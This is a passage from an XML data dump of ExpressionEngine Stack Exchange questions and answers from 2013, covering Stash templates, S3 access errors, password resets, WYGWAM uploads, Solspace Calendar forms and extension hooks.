end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Upon further testing with Transmit, I found that I could get the same &quot;Access Denied&quot; error if I omitted the &quot;path&quot; (which is the same thing as the bucket name) setting  when I attempted to connect - it appeared that our policy of not allowing the user to perform a list-buckets command was the problem. Is it possible to hard code the bucket name somehow?&lt;/p&gt;&#xA;" OwnerUserId="33" LastEditorUserId="33" LastEditDate="2013-10-31T16:37:28.220" LastActivityDate="2013-10-31T16:40:52.280" Title="Assets Unable to Connect to S3: Access denied by target host" Tags="|assets|s3|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14852" PostTypeId="1" AcceptedAnswerId="14882" CreationDate="2013-10-22T15:47:23.847" Score="3" ViewCount="404" Body="&lt;p&gt;I'm having trouble displaying a channel entry loop within my EE setup which uses the Stash and IfElse modules. First of all, see this screenshot of my file structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZS6DI.png&quot; alt=&quot;File structure (Inside templates folder)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the 'partials approach' (heavily based on this &lt;a href=&quot;http://pixelfear.com/blog/stash-workflow&quot; rel=&quot;nofollow noreferrer&quot;&gt;article&lt;/a&gt;) and therefore have an index.html file which handles my routing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;index.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- If we're on one of the main support pages --}&#xA;{if segment_2!=&quot;&quot; AND segment_3==&quot;&quot;}&#xA;{embed=&quot;support/main-landing&quot;}&#xA;&#xA;{!-- If we're on one of the Financial Support sub-pages --}&#xA;{if:elseif segment_2==&quot;financial-support&quot; AND segment_3!=&quot;&quot;}&#xA;{embed=&quot;support/main-detail&quot;}&#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if we look at the main-landing template file, you can see that I'm specifying the stash layout file to use and also setting some variables - one for the actual landing page itself and the other for the loop I am having trouble displaying.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;main-landing.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:support-main-landing}&#xA;&#xA;{!-- Set data for the landing page --}&#xA;    {exp:channel:entries channel=&quot;support&quot; url_title=&quot;{segment_3}&quot;}&#xA;        {exp:stash:set}&#xA;            {stash:url_title}{url_title}{/stash:url_title}&#xA;            {stash:title}{title}{/stash:title}&#xA;            {stash:page_content}{page_content}{/stash:page_content}&#xA;        {/exp:stash:set}&#xA;    {/exp:channel:entries}&#xA;&#xA;      {!-- Set data for the financial support sub-pages --}&#xA;      {exp:stash:set_list name=&quot;financial_support_options&quot; parse_tags=&quot;yes&quot;}&#xA;      {exp:channel:entries channel=&quot;financial_support&quot;}&#xA;                {stash:financial_url_title}{url_title}{/stash:financial_url_title}&#xA;                {stash:financial_title}{title}{/stash:financial_title}&#xA;                {stash:financial_page_content}{page_content}{/stash:financial_page_content}&#xA;                {stash:financial_summary}{summary}{/stash:financial_summary}&#xA;     {/exp:channel:entries}&#xA;     {/exp:stash:set_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following layout file then gets the loop that we just set, using &lt;code&gt;get_list&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;support-main-landing.html:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:wrappers:main} {!-- Select the main wrapper template --}&#xA;&#xA;&#xA;{exp:stash:set name=&quot;content&quot;} {!-- Set everything in between here as the content --}&#xA;    {stash:embed:partials:breadcrumb}&#xA;    &amp;lt;div class=&quot;efc internal main-content&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;container entry&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                &amp;lt;h4&amp;gt;{exp:stash:get name='title'}&amp;lt;/h4&amp;gt;&#xA;                &amp;lt;div class=&quot;row financial-options&quot;&amp;gt;&#xA;                    {exp:stash:get_list name=&quot;financial_support_options&quot;}&#xA;                        &amp;lt;div class=&quot;col-md-6&quot;&amp;gt;&#xA;                            &amp;lt;p&amp;gt;&amp;lt;strong&amp;gt;&amp;lt;a href=&quot;financial-support/{financial_url_title}&quot;&amp;gt;{financial_title}&amp;lt;/a&amp;gt;&amp;lt;/strong&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;p&amp;gt;{financial_summary}&amp;lt;/p&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    {/exp:stash:get_list}&#xA;                &amp;lt;/div&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                {!-- If we're on the Financial Support page, show it's unique sidebar --}&#xA;                {if segment_2==&quot;financial-support&quot;}&#xA;                    {stash:embed:content:sidebar-financial-support}&#xA;                {/if}&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Problem:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems to be working except for the loop &lt;code&gt;financial_support_options&lt;/code&gt;. When the page is rendered, it manages to display the surrounding &lt;code&gt;&amp;lt;div class=&quot;row financial-options&quot;&amp;gt;&lt;/code&gt; but no data inside...so the problem must lie where I am actually setting the loop variable in &lt;strong&gt;main-landing.html&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;FYI - The financial-support channel and support channel both use the same Channel Field Group&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you absolutely HAVE to set the tags as stash variables in order to use them within the layout files in the stash folder?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2241" LastActivityDate="2013-10-23T10:24:46.510" Title="Stash set_list not displaying channel entry loop" Tags="|channel-entries|templates|stash|channel|ifelse|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14853" PostTypeId="2" ParentId="14838" CreationDate="2013-10-22T15:48:03.530" Score="2" Body="&lt;p&gt;I think you're on the right track with switchee, and something like the following should work:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{your_relationship_field}&#xA;    {exp:switchee variable=&quot;{your_relationship_field:channel}&quot; parse=&quot;inward&quot;}&#xA;&#xA;        {case value=&quot;news&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='news/entry'}&quot;&amp;gt;{your_relationship_field:title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;        {case value=&quot;about&quot;}&#xA;            &amp;lt;a href=&quot;{url_title_path='about/entry'}&quot;&amp;gt;{your_relationship_field:title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;&#xA;        {case default=&quot;yes&quot;}&#xA;            &amp;lt;a href=&quot;{your_relationship_field:page_url}&quot;&amp;gt;{your_relationship_field:title}&amp;lt;/a&amp;gt;&#xA;        {/case}&#xA;&#xA;    {/exp:switchee}&#xA;{/your_relationship_field}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2013-10-22T15:48:03.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14854" PostTypeId="2" ParentId="14850" CreationDate="2013-10-22T16:01:24.933" Score="0" Body="&lt;p&gt;The reset link from the CP should be something like:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;http://www.site.com/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=forgotten_password_form&quot; rel=&quot;nofollow&quot;&gt;http://www.site.com/system/index.php?S=0&amp;amp;D=cp&amp;amp;C=login&amp;amp;M=forgotten_password_form&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Sounds like the upgrade process didn't complete 100%. I would try uploading the 2.7.2 files again and run the upgrade process again.&lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-10-22T16:01:24.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14856" PostTypeId="2" ParentId="14852" CreationDate="2013-10-22T16:28:55.280" Score="2" Body="&lt;p&gt;In &lt;strong&gt;main-landing.html&lt;/strong&gt; wrap the stash:set pair around the entries tag pair.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{stash:embed:layouts:support-main-landing}&#xA;&#xA;{!-- Set data for the landing page --}&#xA;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries channel=&quot;support&quot; url_title=&quot;{segment_3}&quot;}&#xA;        {stash:url_title}{url_title}{/stash:url_title}&#xA;        {stash:title}{title}{/stash:title}&#xA;        {stash:page_content}{page_content}{/stash:page_content}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-23T10:24:46.510" LastActivityDate="2013-10-23T10:24:46.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14857" PostTypeId="2" ParentId="14838" CreationDate="2013-10-22T16:36:32.393" Score="0" Body="&lt;p&gt;One other option would be to use a switch only between channel entry versus page entry, as long as you have set up your channel entry comment template path setting in your channel settings.  With that set in each channel, you can use the variable &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow&quot;&gt;{comment_url_title_auto_path}&lt;/a&gt; for channel entries, and your page url for the page entries.  That would simplify your conditional somewhat, though with switchee, that may not be necessary.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-10-22T16:36:32.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14858" PostTypeId="2" ParentId="14130" CreationDate="2013-10-22T16:53:25.667" Score="2" Body="&lt;p&gt;I just had this solved by Jeremy Worboys on another thread (&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/14690/can-i-see-the-most-basic-example-of-a-file-field-in-channel-form-safecracker&quot;&gt;Can I see the most basic example of a File field in Channel Form (Safecracker)?&lt;/a&gt;). I had WYGWAM Entries installed, which created a button that caused a fatal JS error. (Repaired it via the exp_html_buttons table.) THEN my jQuery was too high of a version; downgrading to 1.8.3 fixed the visual abnormalities (&quot;x&quot; not working, for example).&lt;/p&gt;&#xA;" OwnerUserId="1327" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.553" LastActivityDate="2013-10-22T16:53:25.667" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14859" PostTypeId="1" AcceptedAnswerId="14921" CreationDate="2013-10-22T18:20:06.883" Score="4" ViewCount="135" Body="&lt;p&gt;I am wanting to cache the output of the exp:store:product tag. This seems like a safe thing to do, with one possible exception. The generated form contains a hidden &lt;code&gt;_params&lt;/code&gt; field, the value of which changes with every request. &lt;strong&gt;Is it safe to cache this? Or is there something I'm not considering?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="17" LastActivityDate="2015-09-24T17:02:25.017" Title="Safe to cache Expresso Store &quot;exp:store:product&quot; tag?" Tags="|expresso-store|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14860" PostTypeId="2" ParentId="14817" CreationDate="2013-10-22T18:49:02.783" Score="1" Body="&lt;p&gt;Is the entry that you've selected in the Playa field expired? Playa defaults to no for show_future_entries and show_expired.&lt;/p&gt;&#xA;" OwnerUserId="766" LastActivityDate="2013-10-22T18:49:02.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14861" PostTypeId="2" ParentId="14055" CreationDate="2013-10-22T18:49:26.207" Score="0" Body="&lt;p&gt;Looks like this is possibly a bug in your phpmyadmin version: &lt;a href=&quot;http://sourceforge.net/p/phpmyadmin/bugs/4019/&quot; rel=&quot;nofollow&quot;&gt;http://sourceforge.net/p/phpmyadmin/bugs/4019/&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The create database code shouldn't be added with the default export. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-22T18:49:26.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14862" PostTypeId="2" ParentId="14850" CreationDate="2013-10-22T18:50:43.120" Score="1" Body="&lt;p&gt;Is this on the front end or the backend? The front end system changed the forgot password functionality recently to use a password reset form on the front end that relies on the member templates (yuck). The idea was that instead of sending a random general password a user could reset their password with a form after validating an email link. &lt;/p&gt;&#xA;" OwnerUserId="125" LastActivityDate="2013-10-22T18:50:43.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14863" PostTypeId="2" ParentId="14791" CreationDate="2013-10-22T18:54:18.670" Score="1" Body="&lt;p&gt;Have you looked at the WYGWAM Edit Configuration page for that particular WYGWAM config, and chose under Advanced Settings &gt; forcePasteAsPlainText AND pasteFromWordRemoveStyles? That they're both set to Yes?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, doing this means EVERY copy-paste you ever do from wherever will be copy-pasted as plain text.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2013-10-22T18:54:18.670" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14864" PostTypeId="2" ParentId="14429" CreationDate="2013-10-22T19:04:04.917" Score="0" Body="&lt;p&gt;&lt;strong&gt;Add include_jquery=&quot;no&quot; to the tag and move your jQuery from the footer to the header.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this &lt;a href=&quot;https://stackoverflow.com/a/2195167/135935&quot;&gt;answer on StackOverflow&lt;/a&gt;... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;make sure that you are not loading any plugins before you load jQuery. Plugins extend the &quot;$&quot; object, so if you load a plugin before loading jQuery core, then you'll get the error you described.&quot;&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:12.123" LastActivityDate="2013-10-22T19:04:04.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14865" PostTypeId="2" ParentId="14859" CreationDate="2013-10-22T19:13:31.867" Score="1" Body="&lt;p&gt;If the hidden _params value changes with every request, surely it's not safe to cache. I don't know this definitively but it's what I would conclude. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-22T19:13:31.867" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14866" PostTypeId="2" ParentId="14850" CreationDate="2013-10-22T19:22:02.623" Score="1" Body="&lt;p&gt;The forgot password process was &lt;a href=&quot;http://ellislab.com/blog/entry/new-forgotten-password-tool-for-expressionengine-26&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;changed in EE 2.6&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;With ExpressionEngine 2.6 comes a much-improved experience for&#xA;  resetting a forgotten password. Users will be sent a single email with&#xA;  a link to a new password form. This lets the user decide what their&#xA;  new password will be, rather than having the system send a new,&#xA;  plain-text password in a second email. After filling in a new password, users will be able to login straight&#xA;  away and get right back to work!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;EE uses the standard &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/themes/member_profile_templates.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Member Profile&lt;/strong&gt;&lt;/a&gt; and the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/design/message_pages/index.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Messages&lt;/strong&gt;&lt;/a&gt; templates for this flow and the password reset link is valid for 24 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't tell you where in the process your setup is broken but sounds like the user isn't getting to the correctly place for the new password reset process. I'd start by checking to make sure you have member templates loaded to the server. &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-10-22T19:27:19.197" LastActivityDate="2013-10-22T19:27:19.197" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14867" PostTypeId="2" ParentId="11771" CreationDate="2013-10-22T19:33:06.333" Score="1" Body="&lt;p&gt;Could the &lt;code&gt;lmit=&quot;1&quot;&lt;/code&gt; parameter be causing problems?&lt;/p&gt;&#xA;" OwnerUserId="317" LastActivityDate="2013-10-22T19:33:06.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14868" PostTypeId="1" AcceptedAnswerId="14874" CreationDate="2013-10-22T19:42:06.450" Score="3" ViewCount="142" Body="&lt;p&gt;I'm looking for a way to track (hopefully non-logged in) users most viewed items. I found a few helpful addons, but the closest I could get is determining that users most recent views, or how many times they viewed a certain page via cookie. I'd like to eventually be able to take the &quot;most viewed&quot; information and put a few if statements to order the content shown to put the stuff they view the most up top. Does anyone have any experience in something like this? Or if someone could point me in the right direction I would greatly appreciate it!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2243" LastEditorUserId="28" LastEditDate="2013-10-23T16:18:18.967" LastActivityDate="2013-10-23T16:18:18.967" Title="Tracking users &quot;most clicked&quot;" Tags="|tracking|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14869" PostTypeId="2" ParentId="12720" CreationDate="2013-10-22T20:01:58.413" Score="1" Body="&lt;p&gt;I was using an add-on to do something similar. However it broke when I upgraded from 2.4.0 to 2.5.3. See thread: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/526/safecracker-file-rename-on-upload&quot;&gt;Safecracker File: Rename on Upload&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-10-22T20:01:58.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14870" PostTypeId="1" CreationDate="2013-10-22T20:37:52.913" Score="1" ViewCount="206" Body="&lt;p&gt;I'm using the latest builds of Calendar and EE (1.8.5 and 2.7.2 respectively) and am having problems getting the calendar to save the dates when creating or editing through Channel Form (Safecracker).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All works fine if saved in EE itself so it seems to be an issue with compatibility with Channel Form. The entry also saves without any other issues. I've tried a 'vanilla' form with only the title and the Calendar widget with no success. I wondered if you might have any suggestions for troubleshooting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The field appears to be working fine (no javascript errors, datepicker appearing, etc) and my code is as follows (simplified)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:channel:form&#xA;           channel=&quot;channel_events&quot;&#xA;           return=&quot;registration/listing/event_location/ENTRY_ID&quot;&#xA;           include_jquery=&quot;no&quot;&#xA;           include_assets=&quot;yes&quot;&#xA;           datepicker=&quot;yes&quot;&#xA;           error_delimiters='&amp;lt;p class=&quot;form_error inline_error&quot;&amp;gt;&amp;lt;span class=&quot;icon&quot;&amp;gt;* &amp;lt;/span&amp;gt;|&amp;lt;/p&amp;gt;'&#xA;           preserve_checkboxes=&quot;yes&quot;&#xA;           id=&quot;event_form&quot;&#xA;           error_handling=&quot;inline&quot;   &#xA;           class=&quot;sc_form&quot;   &#xA;         }&#xA;             &amp;lt;input type=&quot;text&quot; class=&quot;i_text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;{title}&quot; maxlength=&quot;75&quot;  /&amp;gt;&#xA;             {error:title}&#xA;             {exp:calendar:date_widget}&#xA;             &amp;lt;input class=&quot;submit_btn&quot; id=&quot;event_submit&quot; type=&quot;submit&quot; name=&quot;submit_listing&quot; value=&quot;Save&quot; /&amp;gt;&#xA;         {/exp:channel:form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd be grateful of ANY thoughts/suggestions you might have!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&#xA;Tim&lt;/p&gt;&#xA;" OwnerUserId="889" LastEditorUserId="889" LastEditDate="2013-10-22T21:16:57.453" LastActivityDate="2013-10-23T01:02:35.080" Title="Solspace Calendar and Channel Form - dates not saving" Tags="|solspace|solspace-calendar|calendar|channel-form|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14871" PostTypeId="1" CreationDate="2013-10-22T22:42:03.610" Score="3" ViewCount="645" Body="&lt;p&gt;My client has alerted me that some time in the last 2-3 months, they've lost the ability to upload files directly through WYGWAM. I've updated WYGWAM to its most recent version, and disabled any advanced settings, but I am not seeing the upload options anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6CEk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've asked WYGWAM to use the EE file manager, and I can succesfully upload images via the regular File Manager, but just not via WYGWAM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; I am running version 2.4.0 of EE, and 3.2.1 of Wygwam. I realize that 2.4 is pretty old, so I am having our systems guy update it this week.&lt;/p&gt;&#xA;" OwnerUserId="1513" LastEditorUserId="1513" LastEditDate="2013-11-01T17:44:42.617" LastActivityDate="2014-03-31T23:33:30.220" Title="Upload field has disappeared in WYGWAM" Tags="|pixelandtonic|wygwam|file-uploads|file-manager|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14872" PostTypeId="2" ParentId="14834" CreationDate="2013-10-22T23:47:57.987" Score="1" Body="&lt;p&gt;Freemember forms simply post to the current URL, with an &lt;code&gt;ACT&lt;/code&gt; parameter which tells EE which action to perform. I doubt Transcribe itself is interfering too much with this process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd be willing to bet though that you have some sort of htaccess rule or extension which is redirecting the form submission to a different URL, and in the process losing the POST data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check this by looking at the Chrome/Firebug network tab and checking what response the POST request gets.&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-10-22T23:47:57.987" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14873" PostTypeId="2" ParentId="14870" CreationDate="2013-10-23T00:20:40.007" Score="0" Body="&lt;p&gt;Have you tried setting datepicker=&quot;yes&quot; to datepicker=&quot;no&quot;? Do you need the date picker enabled? Seems like Solspace would load its own JS for their date field.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-23T00:20:40.007" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14874" PostTypeId="2" ParentId="14868" CreationDate="2013-10-23T00:28:59.040" Score="5" Body="&lt;p&gt;You can track visits to your single entry pages with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot;&gt;&lt;strong&gt;Entry “Views” Tracking Tag&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExpressionEngine lets you track how many times a channel entry has&#xA;  been “viewed” on a particular page. Up to four different instances of&#xA;  the view counter can be used (each on a different page), enabling you&#xA;  to track different aspects of an entry independently. For example you&#xA;  can use view counter “one” to track views on your comments page and&#xA;  view counter “two” to track views on your permalink page.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;&#xA;  The view tracking counter works in conjunction with the&#xA;  {exp:channel:entries} tag. Although you can show the number of views&#xA;  in any instance of your channel entries tag, the counter will only&#xA;  increment on pages that show a single-entry pages. Single entry pages&#xA;  are ones that show only a single entry, specified dynamically by the&#xA;  ID number or URL Title in the URL, such as comment or permalink pages.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can then &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#orderby&quot;&gt;&lt;strong&gt;orderby the view count&lt;/strong&gt;&lt;/a&gt; or write conditionals against the count in your channel:entries tag.&lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-23T00:28:59.040" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14875" PostTypeId="2" ParentId="14851" CreationDate="2013-10-23T00:34:50.990" Score="-1" Body="&lt;p&gt;I think the issue is perhaps with your server time. It's the solution to the top two Google results for this error at least: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://forums.aws.amazon.com/message.jspa?messageID=449702#&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forums.aws.amazon.com/message.jspa?messageID=449702#&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/10170/assets-stopped-connecting-to-amazon-s3-access-denied-by-target-host&quot;&gt;Assets stopped connecting to Amazon S3, Access denied by target host&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-10-23T04:49:00.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14876" PostTypeId="2" ParentId="14870" CreationDate="2013-10-23T01:02:35.080" Score="5" Body="&lt;p&gt;Having dug through the archived forums on Solspace I found this gem: &lt;a href=&quot;http://www.solspace.com/forums/viewthread/11282/P15/&quot;&gt;http://www.solspace.com/forums/viewthread/11282/P15/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it appears that adding the id=&quot;&quot; parameter in the Channel Form/Safecracker form tag somehow breaks things. Removing that parameter seems to have fixed the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to Anna for the really useful suggestions, though :)&lt;/p&gt;&#xA;" OwnerUserId="889" LastActivityDate="2013-10-23T01:02:35.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14877" PostTypeId="2" ParentId="14800" CreationDate="2013-10-23T02:28:57.213" Score="0" Body="&lt;p&gt;This is now also being addressed in an EE bug report. Check for the final answer there as it unfolds.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/19837&quot; rel=&quot;nofollow&quot;&gt;https://support.ellislab.com/bugs/detail/19837&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-10-23T04:41:09.110" LastActivityDate="2013-10-23T04:41:09.110" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="14878" PostTypeId="2" ParentId="14839" CreationDate="2013-10-23T04:22:00.200" Score="2" Body="&lt;p&gt;You may need to add the &lt;code&gt;channel=&quot;&quot;&lt;/code&gt; parameter to your channel:entries tag. &lt;/p&gt;&#xA;" OwnerUserId="28" LastActivityDate="2013-10-23T04:22:00.200" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="14879" PostTypeId="2" ParentId="14842" CreationDate="2013-10-23T07:07:02.077" Score="1" Body="&lt;p&gt;If you're seeing this message when updating Assets indexes, it means that there are some files or folders in the Assets index database, that reference files or folder that no longer exist physically on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This could be due to deleting files via FTP or EE filemanager, for example.&lt;/p&gt;&#xA;" OwnerUserId="722" LastActivityDate="2013-10-23T07:07:02.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14880" PostTypeId="1" CreationDate="2013-10-23T07:35:29.737" Score="1" ViewCount="167" Body="&lt;p&gt;I have created an extension to manipulate saved data when an entry is saved. I can't get this to work using entry_submission hooks, I cannot find that much information about this online. I believe I need to use entry_submission_ready.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why this does not work when I save an entry?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function entry_submission_ready($entry_id, $meta, $data)&#xA;{&#xA;    $data['field_id_123'] = 'Test';&#xA;&#xA;    if(isset($this-&amp;gt;EE-&amp;gt;api_sc_channel_entries))&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;api_sc_channel_entries-&amp;gt;data = $data;                    &#xA;    }&#xA;    else&#xA;    {&#xA;        $this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;data = $data;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The hook IS being called because I can output $data to the screen (print_r) and can see the value of the field I have set in the $data array. But this is not saved to the entry. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried $this-&gt;EE-&gt;api_channel_entries-&gt;data['revision_post'] and entry_submission_ready. None work. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="381" LastEditorUserId="381" LastEditDate="2013-10-23T09:07:48.237" LastActivityDate="2013-10-23T09:11:36.013" Title="entry_submission_ready Hook Not Working" Tags="|hook|" AnswerCount="1" CommentCount="0" 